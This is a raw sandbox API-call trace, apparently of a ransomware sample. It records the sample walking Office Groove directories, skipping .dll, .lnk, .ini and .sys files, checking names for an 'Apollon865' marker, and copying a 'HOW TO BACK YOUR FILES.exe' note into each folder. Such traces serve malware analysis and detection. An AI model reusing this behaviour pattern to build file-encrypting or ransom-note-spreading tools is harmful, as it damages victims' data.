	[0070.792] lstrcmpiW (lpString1="ITEBOX.JPG", lpString2="Apollon865") returned 1
	[0070.792] lstrlenW (lpString=".dll") returned 4
	[0070.792] lstrcmpiW (lpString1="WHITEBOX.JPG", lpString2=".dll") returned 1
	[0070.792] lstrlenW (lpString=".lnk") returned 4
	[0070.792] lstrcmpiW (lpString1="WHITEBOX.JPG", lpString2=".lnk") returned 1
	[0070.792] lstrlenW (lpString=".ini") returned 4
	[0070.792] lstrcmpiW (lpString1="WHITEBOX.JPG", lpString2=".ini") returned 1
	[0070.792] lstrlenW (lpString=".sys") returned 4
	[0070.792] lstrcmpiW (lpString1="WHITEBOX.JPG", lpString2=".sys") returned 1
	[0070.792] lstrlenW (lpString="WHITEBOX.JPG") returned 12
	[0070.792] lstrcpyW (in: lpString1=0x2d3e606, lpString2="WhiteboxMask.bmp" | out: lpString1="WhiteboxMask.bmp") returned="WhiteboxMask.bmp"
	[0070.792] lstrlenW (lpString="WhiteboxMask.bmp") returned 16
	[0070.792] lstrlenW (lpString="Apollon865") returned 10
	[0070.792] lstrcmpiW (lpString1="oxMask.bmp", lpString2="Apollon865") returned 1
	[0070.792] lstrlenW (lpString=".dll") returned 4
	[0070.792] lstrcmpiW (lpString1="WhiteboxMask.bmp", lpString2=".dll") returned 1
	[0070.792] lstrlenW (lpString=".lnk") returned 4
	[0070.792] lstrcmpiW (lpString1="WhiteboxMask.bmp", lpString2=".lnk") returned 1
	[0070.792] lstrlenW (lpString=".ini") returned 4
	[0070.792] lstrcmpiW (lpString1="WhiteboxMask.bmp", lpString2=".ini") returned 1
	[0070.792] lstrlenW (lpString=".sys") returned 4
	[0070.792] lstrcmpiW (lpString1="WhiteboxMask.bmp", lpString2=".sys") returned 1
	[0070.793] lstrlenW (lpString="WhiteboxMask.bmp") returned 16
	[0070.793] lstrcpyW (in: lpString1=0x2d3e606, lpString2="ZoomIcons.jpg" | out: lpString1="ZoomIcons.jpg") returned="ZoomIcons.jpg"
	[0070.793] lstrlenW (lpString="ZoomIcons.jpg") returned 13
	[0070.793] lstrlenW (lpString="Apollon865") returned 10
	[0070.793] lstrcmpiW (lpString1="mIcons.jpg", lpString2="Apollon865") returned 1
	[0070.793] lstrlenW (lpString=".dll") returned 4
	[0070.793] lstrcmpiW (lpString1="ZoomIcons.jpg", lpString2=".dll") returned 1
	[0070.793] lstrlenW (lpString=".lnk") returned 4
	[0070.793] lstrcmpiW (lpString1="ZoomIcons.jpg", lpString2=".lnk") returned 1
	[0070.793] lstrlenW (lpString=".ini") returned 4
	[0070.793] lstrcmpiW (lpString1="ZoomIcons.jpg", lpString2=".ini") returned 1
	[0070.793] lstrlenW (lpString=".sys") returned 4
	[0070.793] lstrcmpiW (lpString1="ZoomIcons.jpg", lpString2=".sys") returned 1
	[0070.793] lstrlenW (lpString="ZoomIcons.jpg") returned 13
	[0070.793] lstrcpyW (in: lpString1=0x2d3e606, lpString2="ZoomIconsMask.bmp" | out: lpString1="ZoomIconsMask.bmp") returned="ZoomIconsMask.bmp"
	[0070.793] lstrlenW (lpString="ZoomIconsMask.bmp") returned 17
	[0070.793] lstrlenW (lpString="Apollon865") returned 10
	[0070.793] lstrcmpiW (lpString1="nsMask.bmp", lpString2="Apollon865") returned 1
	[0070.793] lstrlenW (lpString=".dll") returned 4
	[0070.793] lstrcmpiW (lpString1="ZoomIconsMask.bmp", lpString2=".dll") returned 1
	[0070.793] lstrlenW (lpString=".lnk") returned 4
	[0070.793] lstrcmpiW (lpString1="ZoomIconsMask.bmp", lpString2=".lnk") returned 1
	[0070.793] lstrlenW (lpString=".ini") returned 4
	[0070.793] lstrcmpiW (lpString1="ZoomIconsMask.bmp", lpString2=".ini") returned 1
	[0070.793] lstrlenW (lpString=".sys") returned 4
	[0070.793] lstrcmpiW (lpString1="ZoomIconsMask.bmp", lpString2=".sys") returned 1
	[0070.793] lstrlenW (lpString="ZoomIconsMask.bmp") returned 17
	[0070.794] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool"
	[0070.794] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a5368 | out: hHeap=0x580000) returned 1
	[0070.794] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fec8 | out: hHeap=0x580000) returned 1
	[0070.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool") returned 102
	[0070.794] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool"
	[0070.794] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.794] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.799] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.799] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x424613b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x424613b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0070.799] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.799] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.799] lstrcpyW (in: lpString1=0x2d3e61e, lpString2="Project Report Type" | out: lpString1="Project Report Type") returned="Project Report Type"
	[0070.799] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fec8
	[0070.799] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xf6) returned 0x5a0c58
	[0070.799] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fed0 | out: ListHead=0x5b76b0, ListEntry=0x59fed0) returned 0x59feb0
	[0070.799] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Project Report Type", cAlternateFileName="PROJEC~1")) returned 0
	[0070.799] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0070.799] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fed0
	[0070.799] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type"
	[0070.799] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0c58 | out: hHeap=0x580000) returned 1
	[0070.800] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fec8 | out: hHeap=0x580000) returned 1
	[0070.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type") returned 122
	[0070.800] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type"
	[0070.800] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.800] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.803] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.803] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x424613b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x424613b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0070.803] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.803] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.803] lstrcpyW (in: lpString1=0x2d3e646, lpString2="Basic" | out: lpString1="Basic") returned="Basic"
	[0070.803] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fec8
	[0070.804] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x102) returned 0x5b08e8
	[0070.804] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fed0 | out: ListHead=0x5b76b0, ListEntry=0x59fed0) returned 0x59feb0
	[0070.804] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Fancy", cAlternateFileName="")) returned 1
	[0070.804] lstrcmpiW (lpString1="Fancy", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.804] lstrcmpiW (lpString1="Fancy", lpString2="Apollon865.txt.exe") returned 1
	[0070.804] lstrcpyW (in: lpString1=0x2d3e646, lpString2="Fancy" | out: lpString1="Fancy") returned="Fancy"
	[0070.804] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fee8
	[0070.804] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x102) returned 0x5b0a00
	[0070.804] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fef0 | out: ListHead=0x5b76b0, ListEntry=0x59fef0) returned 0x59fed0
	[0070.804] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424613b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x424613b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0070.804] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0070.804] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424613b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x424613b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0070.804] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0070.804] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fef0
	[0070.804] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy"
	[0070.804] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0070.804] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fee8 | out: hHeap=0x580000) returned 1
	[0070.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy") returned 128
	[0070.804] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy"
	[0070.804] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.804] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.818] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.818] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42487510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42487510, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0070.818] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.818] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.818] lstrcpyW (in: lpString1=0x2d3e652, lpString2="Hierarchy.js" | out: lpString1="Hierarchy.js") returned="Hierarchy.js"
	[0070.818] lstrlenW (lpString="Hierarchy.js") returned 12
	[0070.818] lstrlenW (lpString="Apollon865") returned 10
	[0070.818] lstrcmpiW (lpString1="erarchy.js", lpString2="Apollon865") returned 1
	[0070.818] lstrlenW (lpString=".dll") returned 4
	[0070.818] lstrcmpiW (lpString1="Hierarchy.js", lpString2=".dll") returned 1
	[0070.818] lstrlenW (lpString=".lnk") returned 4
	[0070.818] lstrcmpiW (lpString1="Hierarchy.js", lpString2=".lnk") returned 1
	[0070.819] lstrlenW (lpString=".ini") returned 4
	[0070.819] lstrcmpiW (lpString1="Hierarchy.js", lpString2=".ini") returned 1
	[0070.819] lstrlenW (lpString=".sys") returned 4
	[0070.819] lstrcmpiW (lpString1="Hierarchy.js", lpString2=".sys") returned 1
	[0070.819] lstrlenW (lpString="Hierarchy.js") returned 12
	[0070.819] lstrcpyW (in: lpString1=0x2d3e652, lpString2="Hierarchy.xsl" | out: lpString1="Hierarchy.xsl") returned="Hierarchy.xsl"
	[0070.819] lstrlenW (lpString="Hierarchy.xsl") returned 13
	[0070.819] lstrlenW (lpString="Apollon865") returned 10
	[0070.819] lstrcmpiW (lpString1="rarchy.xsl", lpString2="Apollon865") returned 1
	[0070.819] lstrlenW (lpString=".dll") returned 4
	[0070.819] lstrcmpiW (lpString1="Hierarchy.xsl", lpString2=".dll") returned 1
	[0070.819] lstrlenW (lpString=".lnk") returned 4
	[0070.819] lstrcmpiW (lpString1="Hierarchy.xsl", lpString2=".lnk") returned 1
	[0070.819] lstrlenW (lpString=".ini") returned 4
	[0070.819] lstrcmpiW (lpString1="Hierarchy.xsl", lpString2=".ini") returned 1
	[0070.819] lstrlenW (lpString=".sys") returned 4
	[0070.819] lstrcmpiW (lpString1="Hierarchy.xsl", lpString2=".sys") returned 1
	[0070.819] lstrlenW (lpString="Hierarchy.xsl") returned 13
	[0070.819] lstrcpyW (in: lpString1=0x2d3e652, lpString2="MINUS.GIF" | out: lpString1="MINUS.GIF") returned="MINUS.GIF"
	[0070.819] lstrlenW (lpString="MINUS.GIF") returned 9
	[0070.819] lstrlenW (lpString="Apollon865") returned 10
	[0070.819] lstrlenW (lpString=".dll") returned 4
	[0070.819] lstrcmpiW (lpString1="MINUS.GIF", lpString2=".dll") returned 1
	[0070.819] lstrlenW (lpString=".lnk") returned 4
	[0070.819] lstrcmpiW (lpString1="MINUS.GIF", lpString2=".lnk") returned 1
	[0070.819] lstrlenW (lpString=".ini") returned 4
	[0070.819] lstrcmpiW (lpString1="MINUS.GIF", lpString2=".ini") returned 1
	[0070.819] lstrlenW (lpString=".sys") returned 4
	[0070.819] lstrcmpiW (lpString1="MINUS.GIF", lpString2=".sys") returned 1
	[0070.819] lstrlenW (lpString="MINUS.GIF") returned 9
	[0070.820] lstrcpyW (in: lpString1=0x2d3e652, lpString2="PLUS.GIF" | out: lpString1="PLUS.GIF") returned="PLUS.GIF"
	[0070.820] lstrlenW (lpString="PLUS.GIF") returned 8
	[0070.820] lstrlenW (lpString="Apollon865") returned 10
	[0070.820] lstrlenW (lpString=".dll") returned 4
	[0070.820] lstrcmpiW (lpString1="PLUS.GIF", lpString2=".dll") returned 1
	[0070.820] lstrlenW (lpString=".lnk") returned 4
	[0070.820] lstrcmpiW (lpString1="PLUS.GIF", lpString2=".lnk") returned 1
	[0070.820] lstrlenW (lpString=".ini") returned 4
	[0070.820] lstrcmpiW (lpString1="PLUS.GIF", lpString2=".ini") returned 1
	[0070.820] lstrlenW (lpString=".sys") returned 4
	[0070.820] lstrcmpiW (lpString1="PLUS.GIF", lpString2=".sys") returned 1
	[0070.820] lstrlenW (lpString="PLUS.GIF") returned 8
	[0070.820] lstrcpyW (in: lpString1=0x2d3e652, lpString2="SPACER.GIF" | out: lpString1="SPACER.GIF") returned="SPACER.GIF"
	[0070.820] lstrlenW (lpString="SPACER.GIF") returned 10
	[0070.820] lstrlenW (lpString="Apollon865") returned 10
	[0070.820] lstrlenW (lpString=".dll") returned 4
	[0070.820] lstrcmpiW (lpString1="SPACER.GIF", lpString2=".dll") returned 1
	[0070.820] lstrlenW (lpString=".lnk") returned 4
	[0070.820] lstrcmpiW (lpString1="SPACER.GIF", lpString2=".lnk") returned 1
	[0070.820] lstrlenW (lpString=".ini") returned 4
	[0070.820] lstrcmpiW (lpString1="SPACER.GIF", lpString2=".ini") returned 1
	[0070.820] lstrlenW (lpString=".sys") returned 4
	[0070.820] lstrcmpiW (lpString1="SPACER.GIF", lpString2=".sys") returned 1
	[0070.820] lstrlenW (lpString="SPACER.GIF") returned 10
	[0070.820] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic"
	[0070.820] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0070.820] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fec8 | out: hHeap=0x580000) returned 1
	[0070.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic") returned 128
	[0070.820] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic"
	[0070.820] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.821] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\basic\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.825] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.825] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6073a7d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42487510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42487510, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0070.825] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.825] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.825] lstrcpyW (in: lpString1=0x2d3e652, lpString2="DEFAULT.XSL" | out: lpString1="DEFAULT.XSL") returned="DEFAULT.XSL"
	[0070.825] lstrlenW (lpString="DEFAULT.XSL") returned 11
	[0070.825] lstrlenW (lpString="Apollon865") returned 10
	[0070.825] lstrcmpiW (lpString1="EFAULT.XSL", lpString2="Apollon865") returned 1
	[0070.825] lstrlenW (lpString=".dll") returned 4
	[0070.825] lstrcmpiW (lpString1="DEFAULT.XSL", lpString2=".dll") returned 1
	[0070.825] lstrlenW (lpString=".lnk") returned 4
	[0070.825] lstrcmpiW (lpString1="DEFAULT.XSL", lpString2=".lnk") returned 1
	[0070.825] lstrlenW (lpString=".ini") returned 4
	[0070.825] lstrcmpiW (lpString1="DEFAULT.XSL", lpString2=".ini") returned 1
	[0070.825] lstrlenW (lpString=".sys") returned 4
	[0070.825] lstrcmpiW (lpString1="DEFAULT.XSL", lpString2=".sys") returned 1
	[0070.825] lstrlenW (lpString="DEFAULT.XSL") returned 11
	[0070.826] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5"
	[0070.826] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a37d0 | out: hHeap=0x580000) returned 1
	[0070.826] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fea8 | out: hHeap=0x580000) returned 1
	[0070.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5") returned 82
	[0070.826] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5"
	[0070.826] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.826] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.831] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
